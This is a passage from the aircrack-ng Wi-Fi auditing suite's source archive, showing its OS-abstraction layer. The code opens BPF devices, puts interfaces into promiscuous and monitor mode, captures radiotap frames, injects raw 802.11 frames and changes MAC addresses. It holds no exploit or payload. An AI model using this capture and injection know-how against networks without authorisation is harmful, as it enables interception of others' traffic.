remain; } else if (strncmp(buf, "present voltage:", 17) == 0) current = atoi(buf + 25); } total_cap += batt_full_capacity[batno]; fclose(acpi); batteryTime += (int) (( ((float)remain) /rate ) * 3600); batno++; } info_timer++; if (batteries != NULL) closedir(batteries); } return batteryTime; } aircrack-ng-1.2-rc4/src/osdep/airpcap.h0000644000000000000000000000063610761053203016414 0ustar rootroot// Function to be used by cygwin void airpcap_close(void); int airpcap_get_mac(void *mac); int airpcap_set_mac(void *mac); int airpcap_sniff(void *buf, int len, struct rx_info *ri); int airpcap_inject(void *buf, int len, struct tx_info *ti); int airpcap_init(char *param); int airpcap_set_chan(int chan); int isAirpcapDevice(const char * iface); //int printErrorCloseAndReturn(const char * err, int retValue); aircrack-ng-1.2-rc4/src/osdep/osdep.c0000644000000000000000000001152411600551106016076 0ustar rootroot /* * Copyright (c) 2007, 2008, Andrea Bittau * * OS dependent API. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include #include "osdep.h" #include "network.h" extern struct wif *file_open(char *iface); int wi_read(struct wif *wi, unsigned char *h80211, int len, struct rx_info *ri) { assert(wi->wi_read); return wi->wi_read(wi, h80211, len, ri); } int wi_write(struct wif *wi, unsigned char *h80211, int len, struct tx_info *ti) { assert(wi->wi_write); return wi->wi_write(wi, h80211, len, ti); } int wi_set_channel(struct wif *wi, int chan) { assert(wi->wi_set_channel); return wi->wi_set_channel(wi, chan); } int wi_get_channel(struct wif *wi) { assert(wi->wi_get_channel); return wi->wi_get_channel(wi); } int wi_set_freq(struct wif *wi, int freq) { assert(wi->wi_set_freq); return wi->wi_set_freq(wi, freq); } int wi_get_freq(struct wif *wi) { assert(wi->wi_get_freq); return wi->wi_get_freq(wi); } int wi_get_monitor(struct wif *wi) { assert(wi->wi_get_monitor); return wi->wi_get_monitor(wi); } char *wi_get_ifname(struct wif *wi) { return wi->wi_interface; } void wi_close(struct wif *wi) { assert(wi->wi_close); wi->wi_close(wi); } int wi_fd(struct wif *wi) { assert(wi->wi_fd); return wi->wi_fd(wi); } struct wif *wi_alloc(int sz) { struct wif *wi; void *priv; /* Allocate wif & private state */ wi = malloc(sizeof(*wi)); if (!wi) return NULL; memset(wi, 0, sizeof(*wi)); priv = malloc(sz); if (!priv) { free(wi); return NULL; } memset(priv, 0, sz); wi->wi_priv = priv; return wi; } void *wi_priv(struct wif *wi) { return wi->wi_priv; } int wi_get_mac(struct wif *wi, unsigned char *mac) { assert(wi->wi_get_mac); return wi->wi_get_mac(wi, mac); } int wi_set_mac(struct wif *wi, unsigned char *mac) { assert(wi->wi_set_mac); return wi->wi_set_mac(wi, mac); } int wi_get_rate(struct wif *wi) { assert(wi->wi_get_rate); return wi->wi_get_rate(wi); } int wi_set_rate(struct wif *wi, int rate) { assert(wi->wi_set_rate); return wi->wi_set_rate(wi, rate); } int wi_get_mtu(struct wif *wi) { assert(wi->wi_get_mtu); return wi->wi_get_mtu(wi); } int wi_set_mtu(struct wif *wi, int mtu) { assert(wi->wi_set_mtu); return wi->wi_set_mtu(wi, mtu); } struct wif *wi_open(char *iface) { struct wif *wi; wi = file_open(iface); if (wi == (struct wif*) -1) return NULL; if (!wi) wi = net_open(iface); if (!wi) wi = wi_open_osdep(iface); if (!wi) return NULL; strncpy(wi->wi_interface, iface, sizeof(wi->wi_interface)-1); wi->wi_interface[sizeof(wi->wi_interface)-1] = 0; return wi; } /* tap stuff */ char *ti_name(struct tif *ti) { assert(ti->ti_name); return ti->ti_name(ti); } int ti_set_mtu(struct tif *ti, int mtu) { assert(ti->ti_set_mtu); return ti->ti_set_mtu(ti, mtu); } int ti_get_mtu(struct tif *ti) { assert(ti->ti_get_mtu); return ti->ti_get_mtu(ti); } void ti_close(struct tif *ti) { assert(ti->ti_close); ti->ti_close(ti); } int ti_fd(struct tif *ti) { assert(ti->ti_fd); return ti->ti_fd(ti); } int ti_read(struct tif *ti, void *buf, int len) { assert(ti->ti_read); return ti->ti_read(ti, buf, len); } int ti_write(struct tif *ti, void *buf, int len) { assert(ti->ti_write); return ti->ti_write(ti, buf, len); } int ti_set_mac(struct tif *ti, unsigned char *mac) { assert(ti->ti_set_mac); return ti->ti_set_mac(ti, mac); } int ti_set_ip(struct tif *ti, struct in_addr *ip) { assert(ti->ti_set_ip); return ti->ti_set_ip(ti, ip); } struct tif *ti_alloc(int sz) { struct tif *ti; void *priv; /* Allocate tif & private state */ ti = malloc(sizeof(*ti)); if (!ti) return NULL; memset(ti, 0, sizeof(*ti)); priv = malloc(sz); if (!priv) { free(ti); return NULL; } memset(priv, 0, sz); ti->ti_priv = priv; return ti; } void *ti_priv(struct tif *ti) { return ti->ti_priv; } aircrack-ng-1.2-rc4/src/osdep/byteorder.h0000644000000000000000000003323412660207441017001 0ustar rootroot/* * Compatibility header * * Copyright (C) 2009-2016 Thomas d'Otreppe * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifndef _AIRCRACK_NG_BYTEORDER_H_ #define _AIRCRACK_NG_BYTEORDER_H_ #define ___my_swab16(x) \ ((u_int16_t)( \ (((u_int16_t)(x) & (u_int16_t)0x00ffU) << 8) | \ (((u_int16_t)(x) & (u_int16_t)0xff00U) >> 8) )) #define ___my_swab32(x) \ ((u_int32_t)( \ (((u_int32_t)(x) & (u_int32_t)0x000000ffUL) << 24) | \ (((u_int32_t)(x) & (u_int32_t)0x0000ff00UL) << 8) | \ (((u_int32_t)(x) & (u_int32_t)0x00ff0000UL) >> 8) | \ (((u_int32_t)(x) & (u_int32_t)0xff000000UL) >> 24) )) #define ___my_swab64(x) \ ((u_int64_t)( \ (u_int64_t)(((u_int64_t)(x) & (u_int64_t)0x00000000000000ffULL) << 56) | \ (u_int64_t)(((u_int64_t)(x) & (u_int64_t)0x000000000000ff00ULL) << 40) | \ (u_int64_t)(((u_int64_t)(x) & (u_int64_t)0x0000000000ff0000ULL) << 24) | \ (u_int64_t)(((u_int64_t)(x) & (u_int64_t)0x00000000ff000000ULL) << 8) | \ (u_int64_t)(((u_int64_t)(x) & (u_int64_t)0x000000ff00000000ULL) >> 8) | \ (u_int64_t)(((u_int64_t)(x) & (u_int64_t)0x0000ff0000000000ULL) >> 24) | \ (u_int64_t)(((u_int64_t)(x) & (u_int64_t)0x00ff000000000000ULL) >> 40) | \ (u_int64_t)(((u_int64_t)(x) & (u_int64_t)0xff00000000000000ULL) >> 56) )) /* * Linux */ #if defined(linux) || defined(Linux) || defined(__linux__) || defined(__linux) || defined(__gnu_linux__) #include #include #include #ifndef __int8_t_defined typedef uint64_t u_int64_t; typedef uint32_t u_int32_t; typedef uint16_t u_int16_t; typedef uint8_t u_int8_t; #endif #endif /* * Cygwin */ #if defined(__CYGWIN32__) #include #include #define __be64_to_cpu(x) ___my_swab64(x) #define __be32_to_cpu(x) ___my_swab32(x) #define __be16_to_cpu(x) ___my_swab16(x) #define __cpu_to_be64(x) ___my_swab64(x) #define __cpu_to_be32(x) ___my_swab32(x) #define __cpu_to_be16(x) ___my_swab16(x) #define __le64_to_cpu(x) (x) #define __le32_to_cpu(x) (x) #define __le16_to_cpu(x) (x) #define __cpu_to_le64(x) (x) #define __cpu_to_le32(x) (x) #define __cpu_to_le16(x) (x) #define AIRCRACK_NG_BYTE_ORDER_DEFINED #endif /* * Windows (DDK) */ #if defined(__WIN__) #include #define __be64_to_cpu(x) ___my_swab64(x) #define __be32_to_cpu(x) ___my_swab32(x) #define __be16_to_cpu(x) ___my_swab16(x) #define __cpu_to_be64(x) ___my_swab64(x) #define __cpu_to_be32(x) ___my_swab32(x) #define __cpu_to_be16(x) ___my_swab16(x) #define __le64_to_cpu(x) (x) #define __le32_to_cpu(x) (x) #define __le16_to_cpu(x) (x) #define __cpu_to_le64(x) (x) #define __cpu_to_le32(x) (x) #define __cpu_to_le16(x) (x) #define AIRCRACK_NG_BYTE_ORDER_DEFINED #endif /* * MAC (Darwin) */ #if defined(__APPLE_CC__) #if defined(__x86_64__) && defined(__APPLE__) #include #define __swab64(x) (unsigned long long) OSSwapInt64((uint64_t)x) #define __swab32(x) (unsigned long) OSSwapInt32((uint32_t)x) #define __swab16(x) (unsigned short) OSSwapInt16((uint16_t)x) #define __be64_to_cpu(x) (unsigned long long) OSSwapBigToHostInt64((uint64_t)x) #define __be32_to_cpu(x) (unsigned long) OSSwapBigToHostInt32((uint32_t)x) #define __be16_to_cpu(x) (unsigned short) OSSwapBigToHostInt16((uint16_t)x) #define __le64_to_cpu(x) (unsigned long long) OSSwapLittleToHostInt64((uint64_t)x) #define __le32_to_cpu(x) (unsigned long) OSSwapLittleToHostInt32((uint32_t)x) #define __le16_to_cpu(x) (unsigned short) OSSwapLittleToHostInt16((uint16_t)x) #define __cpu_to_be64(x) (unsigned long long) OSSwapHostToBigInt64((uint64_t)x) #define __cpu_to_be32(x) (unsigned long) OSSwapHostToBigInt32((uint32_t)x) #define __cpu_to_be16(x) (unsigned short) OSSwapHostToBigInt16((uint16_t)x) #define __cpu_to_le64(x) (unsigned long long) OSSwapHostToLittleInt64((uint64_t)x) #define __cpu_to_le32(x) (unsigned long) OSSwapHostToLittleInt32((uint32_t)x) #define __cpu_to_le16(x) (unsigned short) OSSwapHostToLittleInt16((uint16_t)x) #else #include #define __swab64(x) NXSwapLongLong(x) #define __swab32(x) NXSwapLong(x) #define __swab16(x) NXSwapShort(x) #define __be64_to_cpu(x) NXSwapBigLongLongToHost(x) #define __be32_to_cpu(x) NXSwapBigLongToHost(x) #define __be16_to_cpu(x) NXSwapBigShortToHost(x) #define __le64_to_cpu(x) NXSwapLittleLongLongToHost(x) #define __le32_to_cpu(x) NXSwapLittleLongToHost(x) #define __le16_to_cpu(x) NXSwapLittleShortToHost(x) #define __cpu_to_be64(x) NXSwapHostLongLongToBig(x) #define __cpu_to_be32(x) NXSwapHostLongToBig(x) #define __cpu_to_be16(x) NXSwapHostShortToBig(x) #define __cpu_to_le64(x) NXSwapHostLongLongToLittle(x) #define __cpu_to_le32(x) NXSwapHostLongToLittle(x) #define __cpu_to_le16(x) NXSwapHostShortToLittle(x) #endif #define __LITTLE_ENDIAN 1234 #define __BIG_ENDIAN 4321 #define __PDP_ENDIAN 3412 #define __BYTE_ORDER __BIG_ENDIAN #define AIRCRACK_NG_BYTE_ORDER_DEFINED #endif /* * Solaris * ------- */ #if defined(__SVR4) && defined(__sun__) #include #include #include typedef uint64_t u_int64_t; typedef uint32_t u_int32_t; typedef uint16_t u_int16_t; typedef uint8_t u_int8_t; #if defined(__sparc__) #define __be64_to_cpu(x) (x) #define __be32_to_cpu(x) (x) #define __be16_to_cpu(x) (x) #define __cpu_to_be64(x) (x) #define __cpu_to_be32(x) (x) #define __cpu_to_be16(x) (x) #define __le64_to_cpu(x) ___my_swab64(x) #define __le32_to_cpu(x) ___my_swab32(x) #define __le16_to_cpu(x) ___my_swab16(x) #define __cpu_to_le64(x) ___my_swab64(x) #define __cpu_to_le32(x) ___my_swab32(x) #define __cpu_to_le16(x) ___my_swab16(x) #define AIRCRACK_NG_BYTE_ORDER_DEFINED #else #define AIRCRACK_NG_BYTE_ORDER 1 #define LITTLE_ENDIAN 1 #endif #endif /* * Custom stuff */ #if defined(__MACH__) && !defined(__APPLE_CC__) && !defined(__GNU__) #include #define __cpu_to_be64(x) = OSSwapHostToBigInt64(x) #define __cpu_to_be32(x) = OSSwapHostToBigInt32(x) #define AIRCRACK_NG_BYTE_ORDER_DEFINED #endif // FreeBSD #ifdef __FreeBSD__ #undef ushort #undef uint #include #endif // XXX: Is there anything to include on OpenBSD/NetBSD/DragonFlyBSD/...? // XXX: Mac: Check http://www.opensource.apple.com/source/CF/CF-476.18/CFByteOrder.h // http://developer.apple.com/DOCUMENTATION/CoreFoundation/Reference/CFByteOrderUtils/Reference/reference.html // Write to apple to ask what should be used. #if defined(LITTLE_ENDIAN) #define AIRCRACK_NG_LITTLE_ENDIAN LITTLE_ENDIAN #elif defined(__LITTLE_ENDIAN) #define AIRCRACK_NG_LITTLE_ENDIAN __LITTLE_ENDIAN #elif defined(_LITTLE_ENDIAN) #define AIRCRACK_NG_LITTLE_ENDIAN _LITTLE_ENDIAN #endif #if defined(BIG_ENDIAN) #define AIRCRACK_NG_BIG_ENDIAN BIG_ENDIAN #elif defined(__BIG_ENDIAN) #define AIRCRACK_NG_BIG_ENDIAN __BIG_ENDIAN #elif defined(_BIG_ENDIAN) #define AIRCRACK_NG_BIG_ENDIAN _BIG_ENDIAN #endif #if !defined(AIRCRACK_NG_LITTLE_ENDIAN) && !defined(AIRCRACK_NG_BIG_ENDIAN) #error Impossible to determine endianness (Little or Big endian), please contact the author. #endif #if defined(BYTE_ORDER) #if (BYTE_ORDER == AIRCRACK_NG_LITTLE_ENDIAN) #define AIRCRACK_NG_BYTE_ORDER AIRCRACK_NG_LITTLE_ENDIAN #elif (BYTE_ORDER == AIRCRACK_NG_BIG_ENDIAN) #define AIRCRACK_NG_BYTE_ORDER AIRCRACK_NG_BIG_ENDIAN #endif #elif defined(__BYTE_ORDER) #if (__BYTE_ORDER == AIRCRACK_NG_LITTLE_ENDIAN) #define AIRCRACK_NG_BYTE_ORDER AIRCRACK_NG_LITTLE_ENDIAN #elif (__BYTE_ORDER == AIRCRACK_NG_BIG_ENDIAN) #define AIRCRACK_NG_BYTE_ORDER AIRCRACK_NG_BIG_ENDIAN #endif #elif defined(_BYTE_ORDER) #if (_BYTE_ORDER == AIRCRACK_NG_LITTLE_ENDIAN) #define AIRCRACK_NG_BYTE_ORDER AIRCRACK_NG_LITTLE_ENDIAN #elif (_BYTE_ORDER == AIRCRACK_NG_BIG_ENDIAN) #define AIRCRACK_NG_BYTE_ORDER AIRCRACK_NG_BIG_ENDIAN #endif #endif #ifndef AIRCRACK_NG_BYTE_ORDER #error Impossible to determine endianness (Little or Big endian), please contact the author. #endif #if (AIRCRACK_NG_BYTE_ORDER == AIRCRACK_NG_LITTLE_ENDIAN) #ifndef AIRCRACK_NG_BYTE_ORDER_DEFINED #define __be64_to_cpu(x) ___my_swab64(x) #define __be32_to_cpu(x) ___my_swab32(x) #define __be16_to_cpu(x) ___my_swab16(x) #define __cpu_to_be64(x) ___my_swab64(x) #define __cpu_to_be32(x) ___my_swab32(x) #define __cpu_to_be16(x) ___my_swab16(x) #define __le64_to_cpu(x) (x) #define __le32_to_cpu(x) (x) #define __le16_to_cpu(x) (x) #define __cpu_to_le64(x) (x) #define __cpu_to_le32(x) (x) #define __cpu_to_le16(x) (x) #endif #ifndef htobe16 #define htobe16 ___my_swab16 #endif #ifndef htobe32 #define htobe32 ___my_swab32 #endif #ifndef htobe64 #define htobe64 ___my_swab64 #endif #ifndef betoh16 #define betoh16 ___my_swab16 #endif #ifndef betoh32 #define betoh32 ___my_swab32 #endif #ifndef betoh64 #define betoh64 ___my_swab64 #endif #ifndef htole16 #define htole16(x) (x) #endif #ifndef htole32 #define htole32(x) (x) #endif #ifndef htole64 #define htole64(x) (x) #endif #ifndef letoh16 #define letoh16(x) (x) #endif #ifndef letoh32 #define letoh32(x) (x) #endif #ifndef letoh64 #define letoh64(x) (x) #endif #endif #if (AIRCRACK_NG_BYTE_ORDER == AIRCRACK_NG_BIG_ENDIAN) #ifndef AIRCRACK_NG_BYTE_ORDER_DEFINED #define __be64_to_cpu(x) (x) #define __be32_to_cpu(x) (x) #define __be16_to_cpu(x) (x) #define __cpu_to_be64(x) (x) #define __cpu_to_be32(x) (x) #define __cpu_to_be16(x) (x) #define __le64_to_cpu(x) ___my_swab64(x) #define __le32_to_cpu(x) ___my_swab32(x) #define __le16_to_cpu(x) ___my_swab16(x) #define __cpu_to_le64(x) ___my_swab64(x) #define __cpu_to_le32(x) ___my_swab32(x) #define __cpu_to_le16(x) ___my_swab16(x) #endif #ifndef htobe16 #define htobe16(x) (x) #endif #ifndef htobe32 #define htobe32(x) (x) #endif #ifndef htobe64 #define htobe64(x) (x) #endif #ifndef betoh16 #define betoh16(x) (x) #endif #ifndef betoh32 #define betoh32(x) (x) #endif #ifndef betoh64 #define betoh64(x) (x) #endif #ifndef htole16 #define htole16 ___my_swab16 #endif #ifndef htole32 #define htole32 ___my_swab32 #endif #ifndef htole64 #define htole64 ___my_swab64 #endif #ifndef letoh16 #define letoh16 ___my_swab16 #endif #ifndef letoh32 #define letoh32 ___my_swab32 #endif #ifndef letoh64 #define letoh64 ___my_swab64 #endif #endif // Common defines #define cpu_to_le64 __cpu_to_le64 #define le64_to_cpu __le64_to_cpu #define cpu_to_le32 __cpu_to_le32 #define le32_to_cpu __le32_to_cpu #define cpu_to_le16 __cpu_to_le16 #define le16_to_cpu __le16_to_cpu #define cpu_to_be64 __cpu_to_be64 #define be64_to_cpu __be64_to_cpu #define cpu_to_be32 __cpu_to_be32 #define be32_to_cpu __be32_to_cpu #define cpu_to_be16 __cpu_to_be16 #define be16_to_cpu __be16_to_cpu #ifndef le16toh #define le16toh le16_to_cpu #endif #ifndef be16toh #define be16toh be16_to_cpu #endif #ifndef le32toh #define le32toh le32_to_cpu #endif #ifndef be32toh #define be32toh be32_to_cpu #endif #ifndef htons #define htons be16_to_cpu #endif #ifndef htonl #define htonl cpu_to_be16 #endif #ifndef ntohs #define ntohs cpu_to_be16 #endif #ifndef ntohl #define ntohl cpu_to_be32 #endif #endif aircrack-ng-1.2-rc4/src/osdep/netbsd.c0000644000000000000000000003016010761053203016242 0ustar rootroot /* * Copyright (c) 2007, 2008, Andrea Bittau * * OS dependent API for NetBSD. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "osdep.h" #ifndef IEEE80211_RADIOTAP_F_FCS #define IEEE80211_RADIOTAP_F_FCS 0x10 /* Frame includes FCS */ #endif #ifndef IEEE80211_IOC_CHANNEL #define IEEE80211_IOC_CHANNEL 0 #endif #ifndef le32toh #define le32toh(x) htole32(x) #endif struct priv_nbsd { /* iface */ int pn_fd; /* rx */ int pn_nocrc; /* tx */ unsigned char pn_buf[4096]; unsigned char *pn_next; int pn_totlen; /* setchan */ int pn_s; struct ifreq pn_ifr; struct ieee80211chanreq pn_ireq; int pn_chan; }; static void get_radiotap_info(struct priv_nbsd *pn, struct ieee80211_radiotap_header *rth, int *plen, struct rx_info *ri) { uint32_t present; uint8_t rflags = 0; int i; unsigned char *body = (unsigned char*) (rth+1); int dbm_power = 0, db_power = 0; /* reset control info */ if (ri) memset(ri, 0, sizeof(*ri)); /* get info */ present = le32toh(rth->it_present); for (i = IEEE80211_RADIOTAP_TSFT; i <= IEEE80211_RADIOTAP_EXT; i++) { if (!(present & (1 << i))) continue; switch (i) { case IEEE80211_RADIOTAP_TSFT: body += sizeof(uint64_t); break; case IEEE80211_RADIOTAP_FLAGS: rflags = *((uint8_t*)body); /* fall through */ case IEEE80211_RADIOTAP_RATE: body += sizeof(uint8_t); break; case IEEE80211_RADIOTAP_CHANNEL: if (ri) { ri->ri_channel = 1; } body += sizeof(uint16_t)*2; break; case IEEE80211_RADIOTAP_FHSS: body += sizeof(uint16_t); break; case IEEE80211_RADIOTAP_DBM_ANTSIGNAL: dbm_power = *body++; break; case IEEE80211_RADIOTAP_DBM_ANTNOISE: dbm_power -= *body++; break; case IEEE80211_RADIOTAP_DB_ANTSIGNAL: db_power = *body++; break; case IEEE80211_RADIOTAP_DB_ANTNOISE: db_power -= *body++; break; default: i = IEEE80211_RADIOTAP_EXT+1; break; } } /* set power */ if (ri) { if (dbm_power) ri->ri_power = dbm_power; else ri->ri_power = db_power; } /* XXX cache; drivers won't change this per-packet */ /* check if FCS/CRC is included in packet */ if (pn->pn_nocrc || (rflags & IEEE80211_RADIOTAP_F_FCS)) { *plen -= IEEE80211_CRC_LEN; pn->pn_nocrc = 1; } } static unsigned char *get_80211(struct priv_nbsd *pn, int *plen, struct rx_info *ri) { struct bpf_hdr *bpfh; struct ieee80211_radiotap_header *rth; void *ptr; unsigned char **data; int *totlen; data = &pn->pn_next; totlen = &pn->pn_totlen; assert(*totlen); /* bpf hdr */ bpfh = (struct bpf_hdr*) (*data); assert(bpfh->bh_caplen == bpfh->bh_datalen); /* XXX */ *totlen -= bpfh->bh_hdrlen; /* check if more packets */ if ((int)bpfh->bh_caplen < *totlen) { int tot = bpfh->bh_hdrlen + bpfh->bh_caplen; int offset = BPF_WORDALIGN(tot); *data = (unsigned char*)bpfh + offset; *totlen -= offset - tot; /* take into account align bytes */ } else if ((int)bpfh->bh_caplen > *totlen) abort(); *plen = bpfh->bh_caplen; *totlen -= bpfh->bh_caplen; assert(*totlen >= 0); /* radiotap */ rth = (struct ieee80211_radiotap_header*) ((char*)bpfh + bpfh->bh_hdrlen); get_radiotap_info(pn, rth, plen, ri); *plen -= rth->it_len; assert(*plen > 0); /* data */ ptr = (char*)rth + rth->it_len; return ptr; } static int nbsd_get_channel(struct wif *wi) { struct priv_nbsd *pn = wi_priv(wi); struct ieee80211chanreq channel; memset(&channel, 0, sizeof(channel)); strlcpy(channel.i_name, wi_get_ifname(wi), sizeof(channel.i_name)); if(ioctl(pn->pn_s, SIOCG80211CHANNEL, (caddr_t)&channel) < 0) return -1; return channel.i_channel; } static int nbsd_set_channel(struct wif *wi, int chan) { struct priv_nbsd *pn = wi_priv(wi); struct ieee80211chanreq channel; memset(&channel, 0, sizeof(channel)); strlcpy(channel.i_name, wi_get_ifname(wi), sizeof(channel.i_name)); channel.i_channel = chan; if(ioctl(pn->pn_s, SIOCS80211CHANNEL, (caddr_t)&channel) < 0) return -1; pn->pn_chan = chan; return 0; } static int nbsd_read(struct wif *wi, unsigned char *h80211, int len, struct rx_info *ri) { struct priv_nbsd *pn = wi_priv(wi); unsigned char *wh; int plen; assert(len > 0); /* need to read more */ if (pn->pn_totlen == 0) { pn->pn_totlen = read(pn->pn_fd, pn->pn_buf, sizeof(pn->pn_buf)); if (pn->pn_totlen == -1) { pn->pn_totlen = 0; return -1; } pn->pn_next = pn->pn_buf; } /* read 802.11 packet */ wh = get_80211(pn, &plen, ri); if (plen > len) plen = len; assert(plen > 0); memcpy(h80211, wh, plen); if(ri && !ri->ri_channel) ri->ri_channel = wi_get_channel(wi); return plen; } static int nbsd_write(struct wif *wi, unsigned char *h80211, int len, struct tx_info *ti) { struct priv_nbsd *pn = wi_priv(wi); int rc; /* XXX make use of ti */ if (ti) {} rc = write(pn->pn_fd, h80211, len); if (rc == -1) return rc; return 0; } static void do_free(struct wif *wi) { assert(wi->wi_priv); free(wi->wi_priv); wi->wi_priv = 0; free(wi); } static void nbsd_close(struct wif *wi) { struct priv_nbsd *pn = wi_priv(wi); close(pn->pn_fd); close(pn->pn_s); do_free(wi); } static int do_nbsd_open(struct wif *wi, char *iface) { int i; char buf[64]; int fd = -1; struct ifreq ifr; unsigned int dlt = DLT_IEEE802_11_RADIO; int s; unsigned int flags; struct ifmediareq ifmr; int *mwords; struct priv_nbsd *pn = wi_priv(wi); unsigned int size=sizeof(pn->pn_buf); /* basic sanity check */ if (strlen(iface) >= sizeof(ifr.ifr_name)) return -1; /* open wifi */ s = socket(PF_INET, SOCK_DGRAM, 0); if (s == -1) return -1; pn->pn_s = s; /* set iface up and promisc */ memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, iface, IFNAMSIZ); if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) goto close_sock; flags = ifr.ifr_flags; flags |= IFF_UP | IFF_PROMISC; memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, iface, IFNAMSIZ); ifr.ifr_flags = flags & 0xffff; if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) goto close_sock; /* monitor mode */ memset(&ifmr, 0, sizeof(ifmr)); strncpy(ifmr.ifm_name, iface, IFNAMSIZ); if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1) goto close_sock; assert(ifmr.ifm_count != 0); mwords = (int *)malloc(ifmr.ifm_count * sizeof(int)); if (!mwords) goto close_sock; ifmr.ifm_ulist = mwords; if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1) { free(mwords); goto close_sock; } free(mwords); memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, iface, IFNAMSIZ); ifr.ifr_media = ifmr.ifm_current | IFM_IEEE80211_MONITOR; if (ioctl(s, SIOCSIFMEDIA, &ifr) == -1) goto close_sock; /* setup ifreq for chan that may be used in future */ strncpy(pn->pn_ireq.i_name, iface, IFNAMSIZ); /* same for ifreq [mac addr] */ strncpy(pn->pn_ifr.ifr_name, iface, IFNAMSIZ); /* open bpf */ for(i = 0; i < 256; i++) { snprintf(buf, sizeof(buf), "/dev/bpf%d", i); fd = open(buf, O_RDWR); if(fd < 0) { if(errno != EBUSY) return -1; continue; } else break; } if(fd < 0) goto close_sock; if (ioctl(fd, BIOCSBLEN, &size) < 0) goto close_bpf; strncpy(ifr.ifr_name, iface, IFNAMSIZ); if (ioctl(fd, BIOCSETIF, &ifr) < 0) goto close_bpf; if (ioctl(fd, BIOCSDLT, &dlt) < 0) goto close_bpf; if(ioctl(fd, BIOCPROMISC, NULL) < 0) goto close_bpf; dlt = 1; if (ioctl(fd, BIOCIMMEDIATE, &dlt) == -1) goto close_bpf; return fd; close_sock: close(s); return -1; close_bpf: close(fd); goto close_sock; } static int nbsd_fd(struct wif *wi) { struct priv_nbsd *pn = wi_priv(wi); return pn->pn_fd; } static int nbsd_get_mac(struct wif *wi, unsigned char *mac) { struct ifaddrs *ifa, *p; char *name = wi_get_ifname(wi); int rc = -1; struct sockaddr_dl* sdp; if (getifaddrs(&ifa) == -1) return -1; p = ifa; while (p) { if (p->ifa_addr->sa_family == AF_LINK && strcmp(name, p->ifa_name) == 0) { sdp = (struct sockaddr_dl*) p->ifa_addr; memcpy(mac, sdp->sdl_data + sdp->sdl_nlen, 6); rc = 0; break; } p = p->ifa_next; } freeifaddrs(ifa); return rc; } static int nbsd_get_monitor(struct wif *wi) { if (wi) {} /* XXX unused */ /* XXX */ return 0; } static int nbsd_get_rate(struct wif *wi) { if (wi) {} /* XXX unused */ /* XXX */ return 1000000; } static int nbsd_set_rate(struct wif *wi, int rate) { if (wi || rate) {} /* XXX unused */ /* XXX */ return 0; } static int nbsd_set_mac(struct wif *wi, unsigned char *mac) { struct priv_nbsd *pn = wi_priv(wi); struct ifreq *ifr = &pn->pn_ifr; ifr->ifr_addr.sa_family = AF_LINK; ifr->ifr_addr.sa_len = 6; memcpy(ifr->ifr_addr.sa_data, mac, 6); return ioctl(pn->pn_s, SIOCSIFADDR, ifr); } static struct wif *nbsd_open(char *iface) { struct wif *wi; struct priv_nbsd *pn; int fd; /* setup wi struct */ wi = wi_alloc(sizeof(*pn)); if (!wi) return NULL; wi->wi_read = nbsd_read; wi->wi_write = nbsd_write; wi->wi_set_channel = nbsd_set_channel; wi->wi_get_channel = nbsd_get_channel; wi->wi_close = nbsd_close; wi->wi_fd = nbsd_fd; wi->wi_get_mac = nbsd_get_mac; wi->wi_set_mac = nbsd_set_mac; wi->wi_get_rate = nbsd_get_rate; wi->wi_set_rate = nbsd_set_rate; wi->wi_get_monitor = nbsd_get_monitor; /* setup iface */ fd = do_nbsd_open(wi, iface); if (fd == -1) { do_free(wi); return NULL; } /* setup private state */ pn = wi_priv(wi); pn->pn_fd = fd; return wi; } struct wif *wi_open_osdep(char *iface) { return nbsd_open(iface); } int get_battery_state(void) { #if defined(__FreeBSD__) int value; size_t len; len = 1; value = 0; sysctlbyname("hw.acpi.acline", &value, &len, NULL, 0); if (value == 0) { sysctlbyname("hw.acpi.battery.time", &value, &len, NULL, 0); value = value * 60; } else { value = 0; } return( value ); #elif defined(_BSD_SOURCE) struct apm_power_info api; int apmfd; if ((apmfd = open("/dev/apm", O_RDONLY)) < 0) return 0; if (ioctl(apmfd, APM_IOC_GETPOWER, &api) < 0) { close(apmfd); return 0; } close(apmfd); if (api.battery_state == APM_BATT_UNKNOWN || api.battery_state == APM_BATTERY_ABSENT || api.battery_state == APM_BATT_CHARGING || api.ac_state == APM_AC_ON) { return 0; } return ((int)(api.minutes_left))*60; #else return 0; #endif } 